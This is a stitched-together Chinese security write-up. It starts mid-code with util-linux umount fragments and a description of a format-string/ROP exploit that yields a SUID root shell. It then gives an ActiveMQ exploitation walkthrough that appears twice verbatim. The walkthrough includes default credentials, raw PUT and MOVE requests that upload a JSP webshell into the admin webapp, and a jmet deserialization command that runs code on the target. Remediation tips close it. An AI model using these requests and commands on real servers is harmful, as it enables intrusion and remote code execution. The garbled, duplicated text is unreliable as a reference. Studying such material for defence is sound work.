{
[...]
setlocale(LC_ALL, ""); // 设置 locale,LC_ALL 变量的值会覆盖掉 LANG 和所有 LC_* 变量的值
[...]
if (all) {
[...]
} else if (argc < 1) {
[...]
} else if (alltargets) {
[...]
} else if (recursive) {
[...]
} else {
while (argc--) {
char *path = *argv;

if (mnt_context_is_restricted(cxt)
   && !mnt_tag_is_valid(path))
path = sanitize_path(path); // 调用 sanitize_path 函数检查路径

rc += umount_one(cxt, path);

if (path != *argv)
free(path);
argv++;
}
}

mnt_free_context(cxt);
return (rc < 256) ? rc : 255;
}

#include <locale.h>

char *setlocale(int category, const char *locale);

// util-linux/lib/canonicalize.c
char *canonicalize_path_restricted(const char *path)
{
[...]
canonical = realpath(path, NULL);
[...]
return canonical;
}

因为所布置的环境变量是错误的(正确的应为 “LANGUAGE=X.X”),程序会打印出错误信息,此时第一阶段的 message catalogue 文件被加载,里面的格式化字符串将内存 dump 到 stderr,然后正如上面所讲的设置 restricted 字段,并将一个 L 写到喷射栈中,将其中一个环境变量修改为正确的 “LANGUAGE=X.X”。

由于 LANGUAGE 发生了改变,umount 将尝试加载另一种语言的 catalogue。此时 umount 会有一个阻塞时间用于创建一个新的 message catalogue,漏洞利用得以同步进行,然后 umount 继续执行。

更新后的格式化字符串现在包含了当前程序的所有偏移。但是堆栈中却没有合适的指针用于写入,同时因为 fprintf 必须调用相同的格式化字符串,且每次调用需要覆盖不同的内存地址,这里采用一种简化的虚拟机的做法,将每次 fprintf 的调用作为时钟,路径名的长度作为指令指针。格式化字符串重复处理的过程将返回地址从主函数转移到了 getdate()execl() 两个函数中,然后利用这两个函数做 ROP。

被调用的程序文件中包含一个 shebang(即”#!”),使系统调用了漏洞利用程序作为它的解释器。然后该漏洞利用程序修改了它的所有者和权限,使其变成一个 SUID 程序。当 umount 最初的调用者发现文件的权限发生了变化,它会做一些清理工作并调用 SUID 二进制文件的辅助功能,即一个 SUID shell,完成提权。

0×05 参考资料

应用介绍

Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。ActiveMQ 是一个完全支持JMS1.1 J2EE 1.4规范的 JMSProvider实现,尽管 JMS 规范出台已经是很久的事情了,但是JMS在当今的J2EE应用中间仍然扮演着特殊的地位。

漏洞利用

ActiveMQ可以多种利用方式,但是绝大部分提及都是比较单一的利用方式。

环境:Apache ActiveMQ 5.7.0

IP:192.168.197.25

1、Console存在默认端口和默认密码/未授权访问(默认密码为admin:admin)

ActiveMQ默认使用8161端口,使用nmap对目标服务器进行扫描:

[[email protected] src]# nmap -A  -p8161 192.168.197.25 \
Starting Nmap 5.51 ( http://nmap.org ) at 2017-10-26 15:31 CST
Nmap scan report for 192.168.197.25
Host is up (0.00016s latency).
PORT     STATE SERVICE VERSION
8161/tcp open  http    Jetty httpd 7.6.7.v20120910
|_http-methods: No Allow or Public header in OPTIONS response (status code 401)
| http-auth: HTTP/1.1 401 Unauthorized
|
|_basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized

1.jpg

2、ActiveMQ物理路径泄漏漏洞

ActiveMQ默认开启PUT请求,当开启PUT时,构造好Payload(即不存在的目录),Response会返回相应的物理路径信息:

Request Raw:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.197.25:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4

test
Response Raw:
HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory)
Content-Length: 0
Server: Jetty(7.6.7.v20120910)

2.png

3ActiveMQ PUT任意文件上传漏洞

ActiveMQ默认开启PUT方法,当fileserver存在时我们可以上传jspwebshell

Request Raw:
PUT /fileserver/shell.jsp HTTP/1.1
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 26

this is jsp webshell code.
Response Raw:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910)

3.png

一般构造返回204响应码即为成功,笔者测试其他环境为不可put时,返回为404500 put完成,我们查看service下的信息:

[[email protected]ocalhost fileserver]# pwd
/data/apache-activemq-5.7.0/webapps/fileserver
[[email protected] fileserver]# ls
index.html  META-INF  shell.jsp  WEB-INF
[[email protected] fileserver]# cat shell.jsp 
this is jsp webshell code.
[[email protected] fileserver]#

4、ActiveMQ任意文件文件移动漏洞

ActiveMQ除了支持PUT协议之外,还支持MOVE协议。

Request Raw:
MOVE /fileserver/shell.jsp HTTP/1.1
Destination:file:/data/apache-activemq-5.7.0/webapps/admin/shell.jsp
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 17

Content-Length: 0
Response Raw:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910)

4.png

服务器信息如下:

[[email protected] fileserver]# ls
index.html  META-INF  shell.jsp  WEB-INF
[[email protected] fileserver]# cat shell.jsp 
this is jsp webshell code.
[[email protected] fileserver]# ls
index.html  META-INF  shell.jsp  WEB-INF
[[email protected] fileserver]# ls
index.html  META-INF  WEB-INF
[[email protected] fileserver]# cd ..
[[email protected] webapps]# ls
admin  demo  favicon.ico  fileserver  index.html  styles
[[email protected] webapps]# cd admin/
[[email protected] admin]# ls
1.jsp     browse.jsp       decorators  index.jsp    META-INF            queueGraph.jsp  send.jsp   styles           topics.jsp
404.html  connection.jsp   graph.jsp   js           network.jsp         queues.jsp      shell.jsp  subscribers.jsp  WEB-INF
500.html  connections.jsp  images      message.jsp  queueConsumers.jsp  scheduled.jsp   slave.jsp  test             xml
[[email protected] admin]#

5.png

6.png

同理,写ssh key一样,在此不再重复造轮子。

影响版本:Apache ActiveMQ 5.x ~ 5.14.0

CVE信息:CVE-2016-3088

4. ActiveMQ反序列化漏洞(CVE-2015-5254)

ActiveMQ默认对外开启61616端口,默认为ActiveMQ消息队列端口。

其中存在一下小的细节问题:

  1. 工具releaes的为JDK 1.7,如果自己build可无视

  2. 使用工具需要在当前目录下创建一个external目录,否则会出现NoSuchFileException

通过构造payload,向队列发送反序列化数据到消息队列中。

(工具下载地址:https://github.com/matthiaskaiser/jmet)

[[email protected]_v3 ~]# java -jar jmet-0.1.0-all.jar  -Q event -I ActiveMQ -s -Y "python /tmp/test.py" -Yp "CommonsCollections1" 192.168.197.25 61616
INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:sevck_v3.0-45938-1516678757604-0:1
INFO d.c.j.t.JMSTarget [main] Sent gadget "CommonsCollections1" with command: "python /tmp/test.py"
INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:sevck_v3.0-45938-1516678757604-0:1

7.png

查看消息队列触发:

8.png

服务器监听:

9.png

注:如果反弹不成功可能的原因是JAVA Runtime.getRuntime().exec()中不能使用管道符,需要进行一次编码

推荐工具:http://jackson.thuraisamy.me/runtime-exec-payloads.html

影响版本:Apache ActiveMQ 5.13.0的版本之前的存在反序列化漏洞

CVE信息CVE-2015-5254

5.ActiveMQ 信息泄漏漏洞(CVE-2017-15709)

在最新的版本中apache-activemq-5.15.0 toapache-activemq-5.15.2apache-activemq-5.14.0to apache-activemq-5.14.561616默认使用了OpenWire协议,开启了debug模式,debug模式会泄漏操作系统相关信息

10.png

影响版本:Apache ActiveMQ5.14.0 – 5.15.2

CVE信息: CVE-2017-15709

修复建议:

  1. 针对未授权访问,可修改conf/jetty.xml文件,bean id为securityConstraint下的authenticate修改值为true,重启服务即可

  2. 针对弱口令,可修改conf/jetty.xml文件,bean id 为securityLoginService下的conf值获取用户properties,修改用户名密码,重启服务即可

  3. 针对反序列化漏洞,建议升级到最新版本,或WAF添加相关规则进行拦截

  4. 针对信息泄漏漏洞,启用TLS传输或升级到Apache ActiveMQ5.14.65.15.3以上版本

应用介绍

Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。ActiveMQ 是一个完全支持JMS1.1 J2EE 1.4规范的 JMSProvider实现,尽管 JMS 规范出台已经是很久的事情了,但是JMS在当今的J2EE应用中间仍然扮演着特殊的地位。

漏洞利用

ActiveMQ可以多种利用方式,但是绝大部分提及都是比较单一的利用方式。

环境:Apache ActiveMQ 5.7.0

IP:192.168.197.25

1、Console存在默认端口和默认密码/未授权访问(默认密码为admin:admin)

ActiveMQ默认使用8161端口,使用nmap对目标服务器进行扫描:

[[email protected] src]# nmap -A  -p8161 192.168.197.25 \
Starting Nmap 5.51 ( http://nmap.org ) at 2017-10-26 15:31 CST
Nmap scan report for 192.168.197.25
Host is up (0.00016s latency).
PORT     STATE SERVICE VERSION
8161/tcp open  http    Jetty httpd 7.6.7.v20120910
|_http-methods: No Allow or Public header in OPTIONS response (status code 401)
| http-auth: HTTP/1.1 401 Unauthorized
|
|_basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized

1.jpg

2、ActiveMQ物理路径泄漏漏洞

ActiveMQ默认开启PUT请求,当开启PUT时,构造好Payload(即不存在的目录),Response会返回相应的物理路径信息:

Request Raw:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.197.25:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4

test
Response Raw:
HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory)
Content-Length: 0
Server: Jetty(7.6.7.v20120910)

2.png

3ActiveMQ PUT任意文件上传漏洞

ActiveMQ默认开启PUT方法,当fileserver存在时我们可以上传jspwebshell

Request Raw:
PUT /fileserver/shell.jsp HTTP/1.1
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 26

this is jsp webshell code.
Response Raw:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910)

3.png

一般构造返回204响应码即为成功,笔者测试其他环境为不可put时,返回为404500 put完成,我们查看service下的信息:

[[email protected] fileserver]# pwd
/data/apache-activemq-5.7.0/webapps/fileserver
[[email protected] fileserver]# ls
index.html  META-INF  shell.jsp  WEB-INF
[[email protected] fileserver]# cat shell.jsp 
this is jsp webshell code.
[[email protected] fileserver]#

4、ActiveMQ任意文件文件移动漏洞

ActiveMQ除了支持PUT协议之外,还支持MOVE协议。

Request Raw:
MOVE /fileserver/shell.jsp HTTP/1.1
Destination:file:/data/apache-activemq-5.7.0/webapps/admin/shell.jsp
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 17

Content-Length: 0
Response Raw:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910)

4.png

服务器信息如下:

[[email protected] fileserver]# ls
index.html  META-INF  shell.jsp  WEB-INF
[[email protected] fileserver]# cat shell.jsp 
this is jsp webshell code.
[[email protected] fileserver]# ls
index.html  META-INF  shell.jsp  WEB-INF
[[email protected] fileserver]# ls
index.html  META-INF  WEB-INF
[[email protected] fileserver]# cd ..
[[email protected] webapps]# ls
admin  demo  favicon.ico  fileserver  index.html  styles
[[email protected] webapps]# cd admin/
[[email protected] admin]# ls
1.jsp     browse.jsp       decorators  index.jsp    META-INF            queueGraph.jsp  send.jsp   styles           topics.jsp
404.html  connection.jsp   graph.jsp   js           network.jsp         queues.jsp      shell.jsp  subscribers.jsp  WEB-INF
500.html  connections.jsp  images      message.jsp  queueConsumers.jsp  scheduled.jsp   slave.jsp  test             xml
[[email protected] admin]#

5.png

6.png

同理,写ssh key一样,在此不再重复造轮子。

影响版本:Apache ActiveMQ 5.x ~ 5.14.0

CVE信息:CVE-2016-3088

4. ActiveMQ反序列化漏洞(CVE-2015-5254)

ActiveMQ默认对外开启61616端口,默认为ActiveMQ消息队列端口。

其中存在一下小的细节问题:

  1. 工具releaes的为JDK 1.7,如果自己build可无视

  2. 使用工具需要在当前目录下创建一个external目录,否则会出现NoSuchFileException

通过构造payload,向队列发送反序列化数据到消息队列中。

(工具下载地址:https://github.com/matthiaskaiser/jmet)

[[email protected]_v3 ~]# java -jar jmet-0.1.0-all.jar  -Q event -I ActiveMQ -s -Y "python /tmp/test.py" -Yp "CommonsCollections1" 192.168.197.25 61616
INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:sevck_v3.0-45938-1516678757604-0:1
INFO d.c.j.t.JMSTarget [main] Sent gadget "CommonsCollections1" with command: "python /tmp/test.py"
INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:sevck_v3.0-45938-1516678757604-0:1

7.png

查看消息队列触发:

8.png

服务器监听:

9.png

注:如果反弹不成功可能的原因是JAVA Runtime.getRuntime().exec()中不能使用管道符,需要进行一次编码

推荐工具:http://jackson.thuraisamy.me/runtime-exec-payloads.html

影响版本:Apache ActiveMQ 5.13.0的版本之前的存在反序列化漏洞

CVE信息CVE-2015-5254

5.ActiveMQ 信息泄漏漏洞(CVE-2017-15709)

在最新的版本中apache-activemq-5.15.0 toapache-activemq-5.15.2apache-activemq-5.14.0to apache-activemq-5.14.561616默认使用了OpenWire协议,开启了debug模式,debug模式会泄漏操作系统相关信息

10.png

影响版本:Apache ActiveMQ5.14.0 – 5.15.2

CVE信息: CVE-2017-15709

修复建议:

  1. 针对未授权访问,可修改conf/jetty.xml文件,bean id为securityConstraint下的authenticate修改值为true,重启服务即可

  2. 针对弱口令,可修改conf/jetty.xml文件,bean id 为securityLoginService下的conf值获取用户properties,修改用户名密码,重启服务即可

  3. 针对反序列化漏洞,建议升级到最新版本,或WAF添加相关规则进行拦截

  4. 针对信息泄漏漏洞,启用TLS传输或升级到Apache ActiveMQ5.14.65.15.3以上版本